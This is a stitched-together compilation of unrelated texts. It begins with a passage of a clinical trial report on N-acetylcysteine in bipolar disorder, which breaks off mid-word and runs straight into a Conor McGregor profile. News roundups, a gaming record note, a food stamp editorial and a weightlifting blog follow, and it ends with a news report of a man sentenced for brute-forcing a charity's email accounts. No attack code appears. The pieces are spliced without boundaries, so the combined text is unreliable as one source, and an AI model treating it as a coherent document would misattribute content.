visits. Based on these criteria, 67.8% (n = 101) of the participants had complete data for the primary outcome measure for the maintenance phase of the trial. There were no significant differences between the two treatment groups with respect to completion rates on the primary outcome variable (completers NAC: 79.1%, n = 47; placebo: 87.1%, n = 54), χ2 (1) = 1.21, P = 0.271. Participants who did, and did not, have complete data for the primary outcome, were no different with respect to a range of demographic, diagnostic and substance use variables. For the total cohort, completers had significantly lower scores on the LIFE-RIFT (completers M = 10.8, SD = 3.9; non-completers M = 13.0, SD = 3.5, t(119) = 2.33, P = 0.021) and the SLICE/LIFE (completers M = 16.0, SD = 5.1; non-completers M = 18.7, SD = 4.7, t(119) = 2.15, P = 0.033) compared to non-completers. Time to intervention for a mood episode Thirteen interventions for mood events occurred in each of the two groups. There was no significant difference between the two groups in overall event rates, Fisher's exact, P = 0.531. The average survival time for the NAC group was not significantly longer in the NAC group (199.9 days, SE=11.0, 95%, CI (178.2, 221.5)) than the placebo group (177.5 days, SE = 8.4, 95% CI (161.0, 194.0)), log rank χ2(1) =.07, P = 0.795 (see Figure Open in a separate window Time to depressive episode Twenty-two (37.3%) participants in the NAC and 30 (48.4%) in the placebo group had a depressive episode, Fisher's exact, P = 0.147. Although the average survival time (in days) for the NAC group (M = 170.2, SE = 12.8, 95%, CI (145.1, 195.39)) was longer than for those in the placebo group (M = 137.4, SE = 10.4, 95%, CI (117.0, 157.7)), the difference between groups was not significant, log rank χ2(1) =.91, P =.341 (see Figure ). Manic episode Nine participants had a manic episode during the maintenance phase: two (3.2%) in the placebo group and seven (11.9%) in the NAC group, Fisher's exact, P =.070. Given the small number of manic events, survival analysis was not conducted. Clinical and functioning measures No significant group-by-visit interactions were identified in the MMRM models for all clinical, functioning, and QoL measures (see Table ). Both groups, however, improved significantly over time with respect to depression (MADRS, BDRS) and functioning (SOFAS and GAF) measures. Planned comparisons focusing on group differences in the mean change from week 8 to endpoint (week 32) were non-significant for all measures (see Table ). Further, there were no significant between group differences on the PGI-I scale at 32 weeks (NAC M = 2.3, SD = 1.2; placebo M= 2.5, SD = 1.4), P = 0.451. Table 3 Effect F test df P value F test df P value Symptoms YMRS † MADRS Total Score† Group 2.04 1, 113.4.156 Group 0.26 1, 121.7.610 Time 1.45 6, 285.4.197 Time 3.15 6, 240.6.005 Group by time 0.99 6, 285.4.432 Group by time 0.44 6, 240.6.855 BDRS † Group 0.27 1, 124.8.604 Time 3.83 6, 245.2.001 Group by time 0.49 6, 245.2.813 CGI-BP Severity Depression † CGI-BP Improvement Depression † Group 0.03 1, 126.0.863 Group 0.14 1, 123.6.709 Time 1.03 6, 197.4.405 Time 2.43 6, 341.8.026 Group by time 0.60 6, 197.4.731 Group by time 0.54 6, 341.8.777 CGI-BP Severity Mania † CGI-BP Improvement Mania† Group 0.01 1, 116.0.935 Group 0.05 1, 124.3.822 Time 0.38 6, 247.2.893 Time 1.99 6, 303.2.066 Group by time 0.75 6, 247.2.614 Group by time 1.32 6, 303.2.248 CGI-BP Severity Overall † CGI-BP Improvement Overall† Group 0.15 1, 122.7.704 Group 0.05 1, 125.3.828 Time 1.31 6, 201.0.255 Time 3.10 6, 335.6.006 Group by time 0.47 6, 201.0.829 Group by time 0.38 6, 335.6.893 Functioning GAF SOFAS Group 1.60 1, 121.9.209 Group 0.46 1, 121.7.500 Time 2.90 6, 252.9.010 Time 4.43 6, 311.8 <.001 Group by time 0.75 6, 252.9.609 Group by time 0.95 6, 311.8.460 LIFE-RIFT SLICE-LIFE Group 0.95 1, 121.4.332 Group 0.12 1, 119.8.732 Time 1.09 6, 242.0.370 Time 0.86 6, 275.5.525 Group by time 0.52 6, 242.0.794 Group by time 0.62 6, 275.5.714 QLESQ Group 0.53 1, 123.2.466 Time 1.99 6, 265.4.067 Group by time 0.16 6, 265.4.987 Open in a separate window Table 4 Change from Week 8 to Week 32 Characteristics NAC Placebo tb df P M (SE)a M (SE) Symptoms YMRS† 0.1 (0.4) 0.4 (0.4) -0.68 129.7.500 MADRS†† 0.6 (1.5) 1.5 (1.5) -0.42 141.3.679 BDRS† 1.4 (1.4) 0.7 (1.3) 0.35 139.0.726 CGI-BP - Severity† Depression -0.1 (0.2) -0.3 (0.2) 0.5 186.5.615 Mania 0.1 (0.1) -0.1 (0.1) 0.22 160.7.826 Overall 0.1 (0.2) -0.2 (0.2) 0.46 167.4.646 CGI-BP - Improvement Depression 0.1 (0.3) 0.2 (0.3) -0.24 105.6.814 Mania C -0.2 (0.2) 0.0 (0.2) -1.23 67.6.222 Overall 0.1 (0.3) 0.3 (0.3) -0.39 93.4.695 Functioning GAF -3.2 (1.8) -4.4 (1.7) 0.54 136.7.593 SOFAS -3.6 (1.8) -4.5 (1.7) 0.36 165.0.719 LIFE-RIFT 0.5 (0.5) 1.1 (0.5) -0.76 100.5.449 SLICE-LIFE 0.2 (0.8) 1.2 (0.8) -0.89 107.4.376 QLESQ -1.7 (1.8) -2.0 (1.7) 0.14 120.5.890 Open in a separate window Subgroup analyses The above analyses were also undertaken for the subgroup of participants who did not respond to NAC in the open label phase of the trial. Non-response was defined as a MADRS score >7 at the end of the open label phase. The findings from these supplementary analyses did not differ from the outcomes of the main analyses.
Discussion Although there was a robust decrease in symptoms in the open-label phase of the trial using 2 grams daily of NAC, there were no significant changes in clinical, functioning and QoL measures in the maintenance phase (see Figure for the changes in mean estimates for the BDRS over both the open-label and maintenance phase of the trial). The improvements in depressive symptoms reached a plateau in the open-label phase and symptoms changed little from this very low base in the randomized phase, such that between group differences did not emerge. Open in a separate window These results are not concordant with our previous data examining NAC in bipolar disorder [31]. In a 24-week double blind placebo controlled trial (n = 75) adjunctive NAC was trialled in participants with either bipolar I or II disorder [32]. In this study NAC significantly improved clinical outcomes, particularly depression, quality of life and measures of functioning, with large effect sizes in almost all domains. In that trial, between group differences at endpoint were no longer evident four weeks after treatment discontinuation. In addition, benefits of NAC in other psychiatric disorders, including a large clinical trial of schizophrenia [8], and small scale clinical papers in obsessive-compulsive disorder [33] and compulsive disorders [9,33,34], pathological gambling [35] and cocaine dependence [36] have been reported. NAC reverses models of glutathione depletion, increasing peripheral [37] and brain glutathione [38]. There appears to be reduced neurogenesis in mood disorders, and antidepressants and mood stabilizers enhance neurogenesis [39]. It is noteworthy in this regard that NAC enhances neurogenesis of neuronal stem cells. NAC promotes neuronal survival after injury and has anti-inflammatory effects. In the forced swim test, NAC results in a significant decrease in immobility. A neuroprotective effect of NAC has been suggested by effects in a variety of neurodegenerative disease models and lastly NAC appears to reverse mitochondrial dysfunction, which is concordant with the emerging literature on the role of mitochondria in bipolar disorder. The characteristics of this study need to be mentioned in order to contextualize these results. The multi-center, randomized, placebo controlled design provides an appropriate forum for evaluation of efficacy in the continuation phase. The sample size, while ample for the secondary outcome measures, was marginal for the ability to evaluate recurrence, which only occurred in a subset of participants. A larger sample size and a longer length of the randomized phase, concordant with similar recent designs, would have increased the signal to noise ratio in this regard. Other studies have used responder analysis to determine benefits during the maintenance phase; these trials only include those who respond in the open-label phase for analysis of the maintenance phase. While not an a priori analysis, this was investigated in the current study with no change in the outcomes reported (data not shown). The absence of significant restrictions on comorbid diagnosis reflects the extent of comorbidity in the disorder; similarly, the absence of restrictions regarding concomitant therapy also enhances the generalizability of the data, as does the inclusion of bipolar I-, II- and NOS - disorder participants.
Conclusions In conclusion, there was a substantial decrease in symptoms during the eight-week open label phase. During the subsequent double blind phase, there was a very low baseline reflecting improvement across all symptomatic measures, and this did not change significantly in either group. As a consequence, between group differences could not emerge on recurrence, clinical functioning and QoL measures. This lack of a workable symptomatic substrate for the emergence of a signal in the double blind phase suggests that this study could possibly be seen as a failed rather than negative study. As such, the formal maintenance efficacy of N |
lessness, show your face to whomever walks by.
"That can drain a man's mind," McGregor told Breitbart Sports last year.
His poverty was not merely one of youth, one that could be shrugged off as the circumstance of family or life. McGregor was receiving benefits as recently as a month before his UFC debut. That was 2013. He was 24. He was a grown man, his own man, and still there he was. He'd given up part-time work as a plumber to concentrate on MMA, but to how many people seeing him rely on the government was that just some pipe dream? Sure, sure, future champion of the world.
"I never forget," McGregor said.
With McGregor you always wondered whether he talked so much because he believed in the bull he was spewing, or because he was precisely aware that it was all façade, that the inevitable end was coming, perhaps quickly, so he better grab every last dollar, every last drop of fame as fast and as furious as possible.
Conor McGregor celebrates after a first-round knockout victory over Jose Aldo. (Getty Images)
What's clear is that McGregor's habit of barreling headlong into danger – pedal to the metal, concerned with little less than securing the highest-paying fights possible and then via trash talk and antics raising it from there – may be over.
And that may be just in time.
The labor output of MMA is, theoretically, the same. You climb in a cage and fight.
The compensation varies dramatically, however, via sheer force of personality. Why not make as much as possible by talking the most smack, by being outlandish, by naming yourself Notorious and then acting on it, by calling yourself Mystic Mac and pretending you controlled the fate in front of you and by concentrating on spectacular knockouts, not mundane takedown defense?
This was McGregor running further and further from that dole queue. Why would he do it any other way?
Last December he dropped Jose Aldo with one punch, handing the Brazilian great his first loss in a decade. It was the greatest night of McGregor's career.
He opened his post-fight press conference talking about money.
"Tonight was a phenomenal night, $10.1 million gate, the highest pay-per-view of the year," he said, seemingly taking the role of UFC president Dana White. "We've done it again."
He brought up Floyd Mayweather, brought up Manny Pacquiao, asked what the gate was for their big fight in the same MGM Grand Garden. Seventy-two million he was told, not even in the same ballpark. He was, as always, undeterred.
"I'm catching up," he said. "Those old [expletives] were 40 when they got that on. I'm only warming up … 27 years of age, anything can happen."
So still at 27, just five months later, he was going to give it all up? No more catching up on Mayweather?
No way. It's why no one believed it.
____________________
What changed though may have been the realization that his way was fraught with so much peril. He could channel Mayweather's crass, cash-obsessed act, which allowed a light punching, defensive fighter to become the biggest draw in boxing.
This is the UFC though, not boxing.
They all lose. They can't hide. Mayweather could manage every opponent, not just who but, more importantly, when. It doesn't work that way in the UFC, so McGregor went the opposite route, begging for the biggest fight every single time, then promising (and delivering) on making it even bigger.
Will Dana White, left, put Conor McGregor back on the UFC 200 card? (Getty Images)
In December he won at 145 pounds and then demanded to fight Rafael dos Anjos at 155 in March because it would pay more than simply just staying back at 145. It was daring, although in classic sell-the-fight, McGregor style, he promised to not just defeat dos Anjos but rip his head off and then drag it through the streets of Rio to cheering crowds because, the Irishman claimed, dos Anjos wasn't an authentic enough Brazilian, whatever that meant.
Only dos Anjos got hurt two weeks before the fight and rather than take the long play and fight someone easy, McGregor recklessly chased the biggest payday available – Nate Diaz, at 170 pounds no less, a full 25 more than he fought Aldo in December.
McGregor was like a guy who played dice by betting boxcars every single roll.
The rub was that Diaz had no time to train for the fight. No time to spar. No time to get full conditioning work in. No time to really study. For McGregor, it was a chance to thrill at 170 then drop back down even richer and more powerful than ever.
Except no matter how many times he clocked Diaz he couldn't fell the bigger man. Diaz grew bloodied, but never was in real trouble.
"[Featherweights] crumble under those shots," McGregor would lament after.
Diaz's chin has always been legendary and he said he used the first round to regain his timing. He eventually caught McGregor square. The fight was soon over, via choke after McGregor went with a Hail Mary/suicide shot of trying to take down Diaz, who is the far superior ground fighter. Probably better to lose by tap out than take punishment.
It should have been OK. The mere taking of the fight signified everything McGregor wanted to be seen as, daring and courageous and tough and even a little bit crazy. It also meant he got paid, headlining a pay-per-view card that came in around 1.5 million buys.
"I took a shot," McGregor said after the fight. "I went at it. I will never shy away from a challenge. I will never shy away from a defeat. I took the fight and it didn't pay off. This is the fight business."
Only then he followed the same business path, not dropping back down in weight but again seeking the biggest payday, in both cash and reputation, by signing up for a rematch with Diaz, again at 170 pounds.
Only this time Diaz wasn't going to be coming in off the street. This time Diaz has an eight-week camp planned in Stockton, Calif., and the full realization that what had started as an out-of-nowhere gift was now a game-changer out of his wildest dreams.
Diaz could now afford to invest in the most elite training. He hired a Los Angeles-based marketing and public-relations team to promote him. He believed that if he beat up McGregor again, on a signature card such as 200, he'd immediately be one of the promotions five biggest draws. Diaz had spent his career looking for a break, a journeyman, a grinder. He'd fought his way into the UFC via the reality show "The Ultimate Fighter." That was nine years and 21 fights ago, just one of them for a title.
If the first McGregor fight was something out of "Rocky," this one was "Rocky II," where victory delivered life-changing financial rewards.
If nothing else, McGregor seems to understand the situation he was in. The challenge is immense. The time is not for talking. To defeat a focused and prepared Diaz, he will need more than he has ever shown – stronger striking, better defense, a modicum of a ground game.
He can't talk his way past Nate Diaz. He doesn't need to either; the fight will sell. He's talked enough through the years. He can only prepare now.
"I'm doing what I need for me now," McGregor said. "It is time to be selfish with my training again. It is the only way."
He, as he often is, is right about that.Editor's note: This is Chatter, our former morning rundown of what you need and want to know around the world. When this story was published in 2015, the New America Foundation's study did list white Americans as the biggest terror threat in the US. Over time, as they've updated their study, the linked study has changed. Click through to find out more about terrorism in the US since 9/11.
NEED TO KNOW:
White Americans are the biggest terror threat in the United States, according to a study by the New America Foundation. The Washington-based research organization did a review of “terror” attacks on US soil since Sept. 11, 2001 and found that most of them were carried out by radical anti-government groups or white supremacists.
Almost twice as many people have died in attacks by right-wing groups in America than have died in attacks by Muslim extremists. Of the 26 attacks since 9/11 that the group defined as terror, 19 were carried out by non-Muslims. Yet there are no white Americans languishing inside the prison camp at Guantanamo Bay. And there are no drones dropping bombs on gatherings of military-age males in the country's lawless border regions.
Attacks by right-wing groups get comparatively little coverage in the news media. Most people will struggle to remember the shooting at a Sikh temple in Wisconsin that killed six people in 2012. A man who associated with neo-Nazi groups carried out that shooting. There was also the married couple in Las Vegas who walked into a pizza shop and murdered two police officers. They left a swastika on one of the bodies before killing a third person in a Wal-Mart parking lot. Such attacks are not limited to one part of the country. In 2011, two white supremacists went on a shooting spree in the Pacific Northwest, killing four people.
More from GlobalPost: Turns out people get angry when you say white Americans are terrorists, too
Terrorism is hard to define. But here is its basic meaning: ideological violence. In its study, the New America Foundation took a narrow view of what could be considered a terror attack. Most mass shootings, for instance, like Sandy Hook or the Aurora, Colorado movie theater shooting — both in 2012 — weren't included. Also not included was the killing of three Muslim students in North Carolina earlier this year. The shooter was a neighbor and had strong opinions about religion. But he also had strong opinions about parking spaces and a history of anger issues. So that shooting was left off the list.
The killing of nine people at a church in Charleston, South Carolina last week was included. The shooter made it clear that his motivation was an ideological belief that white people are superior to black people. The shooting has cast new light on the issue of right-wing terrorism in the United States. But since it can't really use Special Forces or Predator drones on US soil, it remains unclear how the government will respond.
WANT TO KNOW:
If your ship is going to get boarded by pirates, it's best that it happens in the waters off Indonesia. Unlike their Somali counterparts, Indonesian pirates have shown little interest in kidnapping for ransom. And, writes GlobalPost Senior Correspondent Patrick Winn, a review of Southeast Asian piracy incidents in recent years reveals a theme: the pirates are seldom brutal and like to get in and get out as quickly as possible.
That's good because piracy in the waters off of Indonesia is growing more common, and the pirates themselves are getting bolder. They regularly board giant oil tankers, subdue crews with surprisingly little violence, shut down their communications, disguise the ships in creative ways, and siphon off millions of dollars' worth of gas. Once their pirate ships are laden, they are gone.
While Somali pirates are increasingly a thing of the past, Indonesian piracy is up an incredible 700 percent in the last five years. Indonesia is a good place to be a pirate: A third of the world's shipping traffic passes by the country. There are tens of thousands of little islands and endless small coastal communities among which to hide.
As long as the violence stays to a minimum, the increased piracy is unlikely to raise that many eyebrows. For the oil and gas industry, the lost product amounts to little more than “a rounding error,” according to experts.
STRANGE BUT TRUE:
Poland is one of the world's most religiously conservative countries. It's as Catholic as Catholic gets. So it's pretty unsurprising that its abortion laws are some of the strictest in Europe. Basically, you can't get an abortion in Poland unless you were raped or are near death. And even then a doctor can refuse to help you.
So desperate activists are trying something new. In a few days, a consortium of women's rights groups will convene in Germany, load a drone full of pills that can be used to safely induce abortions, fly it over the border to Poland and drop the pills to activists on the other side. Some would call that smuggling.
It's been dubbed the "Abortion Drone," which is a truly disturbing pairing of words. But the goal is noble: to deliver a much-needed service to Polish women, to raise awareness in Poland that safe abortion medication exists, and to pressure the Polish government to change its draconian laws.[Update: As expected, the endless cycle of record breaking continues onward. While we aren't going to report on every incremental change until the end of time, we will point out that Travis Houk played DDR X2 for 40 hours and 2 minutes last month. He's waiting for the Guinness folks to confirm the time, but there you go. Who's next?]
This week, Minnesotan Alexander Skudlarek found out from Guinness World Records that he now holds the title for "Longest Video Games Marathon on a Dance / Rhythm game." And all this took was a mere 16 hours and 18 minutes of Dance Dance Revolution back in October. My legs burn just thinking about it.
Alex wrote in to give us the heads up, and since this story is more or less on par with the normal late-December discussions we have 'round here, spreading the word was an easy decision. Congrats, but be warned -- extra publicity means someone will come after your time. Better start training.
Come to think of it, I'm fairly sure there's something in the water supply up there.
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Click to open photo gallery:Among the many scars of the recession, the most intolerable should be the pangs of chronic hunger that still assail a stunning 14.5 percent of the nation’s households, according to the Department of Agriculture’s latest survey. A decade ago, the figure was 11 percent — a group defined as regularly suffering food “insecurity,” or having 26 percent less to spend on food than households not going hungry. The survey shows that food insecurity rose with the recession and has remained stubbornly high.
Instead of providing aid for the hungry, House Republicans want to reduce the food stamp program — the most basic part of the social safety net — with $40 billion in cuts across the next decade. A showdown vote over this cruel plan is expected this month. The House majority leader, Eric Cantor, is leading a propaganda drive that invokes reform as its cause while blaming the victims of hunger simply because the food stamp rolls had to double to nearly 48 million people in the crunch of recession.
The Cantor plan would force an estimated four to six million people to lose the food stamps that now sustain them. It would invite state governments to ratchet benefits back further because they could use savings wrenched from the pantries of the poor for various other programs, including tax cuts. The measure’s “work requirements” provide no job training funds yet mandate that able-bodied, childless adults who cannot find at least part-time employment will lose their food stamps after 90 days, even if the local unemployment rate is prohibitively high.
Even without the House conservatives’ turning of the screw, the hunger of the working poor was starkly described by Sheryl Gay Stolberg in The Times last week from Tennessee. Parents told of how they must regularly skip meals to feed their children and hunt game when the food stamp allotment falls short of monthly needs.I still remember the first time I ever stepped foot in a real gym.
George W. Bush was still in his first term, Toby Maguire was still Spider-Man, and talking about George W. Bush and Toby Maguire were still perfectly normal things to do.
On my inaugural trip to the gym I was totally and utterly terrified of what people would think—partly because I harbored the misconception that other people at the gym would actually give a shit about what I was up to, and partly because I had no damn clue what I was doing.
Learning the (Unnecessarily) Long and Hard Way
Even though I threw myself into it full bore, by the time I actually figured out how to build real strength and muscle, Barack Obama was president, Andrew Garfield was Spider-Man and – well, by that point talking about Toby Maguire was definitely not a normal thing to do. (Dude definitely peaked with Seabiscuit.)
Since you probably don’t want your own muscle-building efforts to take the better part of a decade, I thought I’d share a few pieces of advice I wish someone had given me.
So in no particular order, here are 10 beginner weight lifting tips I wish someone had told me when I was first starting out.
Scroll down to learn how each one can help you build a stronger and more muscular body – ideally before Toby Maguire gets cast as Tom Holland’s Uncle Ben.
10 Beginner Weight Lifting Tips
Build Strength & Muscle the Smart Way
(By which I mean “In less than a decade”)
1. Have a Plan of Attack
Looking back on it now, the first few months that I spent in the gym were basically a total and utter waste of time.
Alright fine, maybe not a total and utter waste of time, but at least a partial and sorta waste of time.
The reason my time was spent so ineffectively is because it was spent haphazardly. In those early days, I would basically do whatever I thought made me look cool.
I would pick up some dumbbells and do a few biceps curls, head over to the leg press and crank out a couple reps there, hit the mat and do some crunches. All of it was designed to make me look like I knew what I was doing (an effort which most certainly failed), not to actually build muscle and strength.
A Man With a Plan
(and a shot in hell at building muscle)
It wasn’t until I stumbled upon a full workout plan in a fitness magazine that I started making real progress.
That first plan was a full-body muscle-building training split that hit every muscle group in the course of a week, and while none of the moves it recommended were particularly novel, the combination of a well thought-out plan and repeated effort on my part finally started to move the needle for me.
Fortunately, today the fitness industry has exploded and there’s no shortage of blogs, websites and magazine articles recommending muscle and strength building programs.
Bodybuilding.com is a great place to start, as are the big magazines like Men’s Health, Men’s Fitness and Muscle & Fitness.
And don’t forget to check out blogs, too. I’ve recommended Keith Lai’s work over on Fit Mole before, and I’m also a big fan of what they do at Nerd Fitness.
But of course, if you’re looking to start – and stick to – a workout plan, I have to recommend (shameless plug alert!) you check out this post I wrote about how to do just that.
Use it to find a plan that you think you’ll like, and stick to it for a couple weeks. If you like it, keep at it, and if not, find a new one and switch it up.
Having any plan is about 1,000 times better than having no plan at all.
2. Nutrition is King
It doesn’t matter if you want to build muscle, burn fat, or some combination of the two: the truth is that a body is built in the kitchen, not the gym.
This is something that I think a lot of us learn pretty early, whether from fitness magazines, blogs (including this one) or personal trainers, but don’t really internalize.
Tough to Take on Board
There are a few reasons why it’s hard to really believe that nutrition trumps fitness.
For one, fitness produces much stronger imagery. Peruse any fitness magazine or blog and you’ll see countless images of guys with huge biceps and shredded abs flexing in the gym, giving you the impression that more workouts – not more vegetables – will get you the results you want.
Secondly, very few of us work out as much as we’d like to, or as much as we think we should. As a result, when you’re assessing why you don’t have the body you want, it’s easy to point to one obvious thing you’re not doing: working out enough.
But the truth is that, in all likelihood, you’re also not eating well enough – even if you think you are. Building muscle requires you to eat inordinate amounts of lean protein and vegetables to ensure you’re getting enough nutrients to not just replenish your muscles, but increase their size.
Burning fat likewise requires an almost obsessive attention to what you put in your body; food companies like to sneak sugar and salt into damn near everything – including so-called “health” foods like protein bars – making it extremely difficult to eat clean.
What this means is that even if you’re extremely disciplined in following a workout routine, you still won’t get the results you’re looking for unless you’re at least as disciplined in your nutrition plan.
Focus on nutrition and the results will follow; ignore it, and they’ll never come at all.
3. Proper Form is Paramount
This is something that took me far too long to accept and acknowledge, but led to radical results once I finally internalized it.
Just as cheating on a test in school might get you a good grade without actually teaching you anything, cheating on your lifts might allow you to look like you’re working hard, but won’t actually get you results.
Before trying any new move, invest a bit of time making sure you know how to perform it properly, then focus on maintaining proper form while you’re at it.
Results will come much quicker, not just because you’re performing each move more efficiently, but also because by doing so you’re far less likely to injure yourself and have to forego gym time as you recover.
4. No One is Watching You, and They Don’t Care What You’re Doing
Most of us work out because we want to look good.
What we don’t often admit to ourselves is that we don’t just want to look good as a result of working out, we also want to look good while working out.
This is something that especially plagues introverted guys, who are prone to overthinking and even stressing about what other people might be thinking of us.
As a result, we try to lift heavier than we should (and, as mentioned, break proper form to do it) and focus far too much on whether or not what we’re doing in the gym looks good – and not enough on whether or not it’s effective.
But after more than 10 years as a gym rat, I can tell you with some confidence that no one in the gym really gives a shit what you’re up to.
For one thing, they’re far too busy focusing on themselves. For another, they probably don’t know that much more about fitness than you do.
If you’re worried about making mistakes and looking silly, it stands to reason that they’re worried about it too.
So don’t fret about what other people might be thinking. You probably only have an hour or so to workout each day, and you should focus on using that time as effectively as possible.
The strong, muscular physique that comes as a result will speak for itself. So on the off chance that anybody is watching you, the only thing they’ll think will be “Wow, that guy’s pretty fit. He must know his stuff.”
5. Go Slow to Grow Big
Don’t forget that part of maintaining proper form means lifting at a slow, steady and controlled pace.
One mistake beginner weightlifters often make is to throw the weights around quickly, pumping out as many sets and reps as they can.
While there’s a time and a place for that kind of exercise – usually during fitness classes designed not to build muscle, but burn fat – it’s not advisable during a muscle-building session.
For one thing, it’s highly likely that you’ll hurt yourself or pull a muscle if you’re swinging weights around too quickly. For another, it’s not actually going to help you build muscle – in fact, it’s more likely to burn calories that could result in a net loss in weight.
Focus on Your Muscles, Not Your Ego
If you’re on a muscle-building mission, lift slowly – at least two seconds up and two seconds down, unless otherwise stipulated by your personal trainer or workout plan. If you can’t manage to lift at a slow, controlled rate with the weight you’re using, then move down a few pounds until you can.
The gains you make from using proper form will more than offset the sacrifice your ego makes by using a slightly lighter dumbbell.
6. Warm-up Sets are Worth It
While we’re on the subject of speed, don’t think that you can shorten your sweat sessions by skipping the warm up sets and stretching.
“Most guys shortchange their strength with a crappy warm up before they even start their actual workout,” according to Men’s Fitness. “Ramping up is the only way to prime your body for strength and muscle gains.”
Take the time to learn how to warm up properly, then make sure you carve out enough time in the day to perform both your workout routine, and the requisite warm up.
7. Building Strength ≠ Building Muscle
Have you ever watched the powerlifting event at the Olympics, or those strong man competitions that air on the Outdoor Life Network, or, like, ESPN 8 “the Ocho”?
If you have, you’ve probably noticed that the guys who train solely to lift as much weight as humanly possible don’t exactly look like magazine cover models.
This is because, while they’re of course related, there’s a difference between training to build lean muscle and training to build raw strength.
So before you start a weight training program, get clear on what your goals are – and be honest with yourself. We all, of course, want to be stronger. But if what you really want is to look more muscular under your clothes (guilty!), you’ll need to find a workout plan that caters to that specific goal.
Check out the links below to learn more about the difference between strength training and muscle-building, and find a program that best suits your goals.
Men’s Fitness: Size vs. Strength Training
Bodybuilding.com: The Basics of Training for Size or Strength
8. Leg Day is Not Optional
Let’s be honest here fellas: when it comes to our fitness goals, we’re all looking to increase the size and improve the shape of our glamor muscles – our chests, shoulders and of course, our arms.
As a result, it can be tempting to focus intensely (if not exclusively!) on these highly visible muscle groups, to the detriment of all the others.
But the truth is that you build a body the same way you build a house: from the ground up. And you can’t really build a strong upper body without a strong lower body as your base.
When you train your muscles, your body naturally creates and releases human growth hormones, which flood your system. Because the largest muscle groups in your body are found in your legs, you get the biggest (natural) dose of HGH when you work on your wheels.
That’s why guys who compete in bench-pressing competitions never skip their squats, and Olympic gymnasts who have gigantic arms also have hefty quads and hamstrings.
So do yourself a favor and resist the urge to skip leg day. It doesn’t matter if you want to get bigger, stronger or both: squats and deadlifts will get you there faster.
9. The Pen is Mightier than the Barbell
This is an amazing little low-tech hack that can have a huge impact on your gains, which I didn’t start using until about year 10 of my training.
(No one has ever accused me of being a quick study.)
The trick? Bring a notebook and a pen to the gym with you. As you work through your plan, record the number of sets, reps and the amount of weight you used, along with any other relevant data like resting time.
Next week – or whenever you return to that same workout routine – you can reference back to see exactly how much you lifted last time, and increase it slightly.
This might sound simple, but trust me: you will not remember the exact details of each workout.
I mean, if today is Tuesday and you’re in the gym doing Day 2 of your five-day training split, that means the last time you did it was… uhhhh, OK you took a day off Wednesday so you guess it was… Monday?
And, let’s see, you started out with 45s but you think you only got through 6 out of 8 reps. Or was it 7 reps? Either way, you’re pretty sure you did perform all three sets – or, wait, did you stop after the first two…?
You get the idea.
If you’re working out regularly, it all kind of blurs together. Writing down what you achieve in each session makes it infinitely easier to ensure you’re progressing properly.
You can use any notebook, but personally I opt for Field Notes. They’re durable, flexible, small enough to fit in your pocket and kind of bad-ass. (Or more accurately: about as bad-ass as a notepad can possibly be.)
10. Fitness Fads Come and Go – So Focus on Principles
Do you guys remember Sweatin’ to the Oldies?
No?
How about Tae Bo?
Nadda?
What about the Thigh Master, the Bow Flex, the Shake Weight or Ab Belts?
Still nothing?
Didn’t think so.
All of these – and oh, so many more – were once fitness trends that took the world by storm with promises of revolutionary results and easy application.
And all of them now reside in a vast graveyard of faded fitness fads, along with heaps of money and millions of unmet New Year’s resolutions.
Focus on Fundamentals
Today’s fitness trends may seem a lot less silly and a little more scientific, but don’t be taken in by their flashy marketing and promises of super-charged results.
The cold hard truth is that the fundamental principles of fitness haven’t actually changed in thousands of years. The only way to change your body is to eat clean, work hard and get enough rest. Period.
The ancient Greeks knew enough about fitness and nutrition to build bodies that looked like this:
Admittedly, this was an idealized version of the male form (this is a statue of Hercules), but the only way the Greeks could have had this ideal is if they had actually seen somebody with a body like this.
And I can guarantee you the guy who posed for this statue had never heard of P90X.
So don’t get caught up in the latest trends pushed by fitness magazines and infomercials. Stick to core principles and act in accordance with them, and the results will follow.Hillary Clinton addresses a Clinton Global Initiative event in New York City. (Michael Loccisano/Getty Images)
Before U.S. intelligence officials began investigating Russian-led cyberattacks in the 2016 presidential election, a Florida man reportedly made 400,000 attempts to hack into the Clinton Foundation’s computer network, claiming he was a “private investigator” researching whether the charity was inadvertently providing funding to Islamist militant groups.
That man, Timothy Sedlak, 44, of Ocoee, Fla., was sentenced in Manhattan federal court Monday to 18 months in prison for attempting to access the global charitable organization’s computers without authorization, and as a result, “recklessly causing damage” to the foundation’s computers, according to a news release from the United States Attorney for the Southern District of New York.
Sedlak was arrested in September 2015 and pleaded guilty in February. Officials never identified the Manhattan-based global charity that was targeted, but Reuters obtained a court filing that stated federal agents questioned Sedlak about notes they found with references to then-Democratic presidential candidate Hillary Clinton and her daughter, Chelsea Clinton.
The court documents, which were later redacted, stated Sedlak told the agents the Clintons “came up in his research,” Reuters reported.
“The filing’s description of the Clintons matched prosecutors’ descriptions of two previously unnamed individuals who were said to be executives at the charity,” Reuters reported in February.
Sedlak’s “research” consisted of trying to figure out if philanthropies were unintentionally financing Islamist militant groups through charitable organizations in the Middle East. Sedlak told Secret Service agents he hoped to sell his findings, according to a federal news release.
The Clinton Foundation, created by former president Bill Clinton shortly after he left office in 2001, has grown into a $2 billion global philanthropy that funds health care, education and environmental initiatives worldwide. Leading up to the presidential election, the organization faced scrutiny from critics who charged that donations from corporate and foreign interests to the foundation created a conflict of interest for Hillary Clinton as she pursued the presidency. Chelsea Clinton is the vice chair of the foundation.
Federal investigators discovered Sedlak during the summer of 2015, when Clinton Foundation employees had trouble accessing their email accounts. Investigators tracked hacking attempts to computers linked to two Internet protocol addresses at Sedlak’s Florida home. From June to July 2015, Sedlak had made 195,000 attempts to crack into 20 email accounts from one IP address, and another 195,000 attempts to log into six email accounts from the other IP address, according to Monday’s news release.
“Timothy Sedlak used dozens of computers and electronic devices to unlawfully access others’ computer networks, making hundreds of thousands of attempts to steal information from one charitable organization,” acting Manhattan U.S. attorney Joon H. Kim said in the release. “Although he was ultimately unsuccessful, Sedlak’s efforts impaired the organization’s ability to operate.”
In a search warrant of Sedlak’s home, Secret Service agents found and seized 42 computers and electronic devices, 31 of which contained hacking software. They discovered he had been using lists of email addresses and servers, password-cracking tools and other software to target numerous charities, political organizations, law firms and businesses in the U.S. and abroad. Sedlak used a “brute force” password-cracking tool to “launch a relentless barrage of potential passwords” at email accounts as a way of trying to break into them, a February news release stated.
Sedlak admitted in his guilty plea that he made many attempts to determine passwords and crack into email accounts.
“I knew that what I was doing was wrong, and I attempted that without their authorization,” he said, Courthouse News Service reported.
Timothy Sedlak (Seminole County Sheriff’s Office/Reuters)
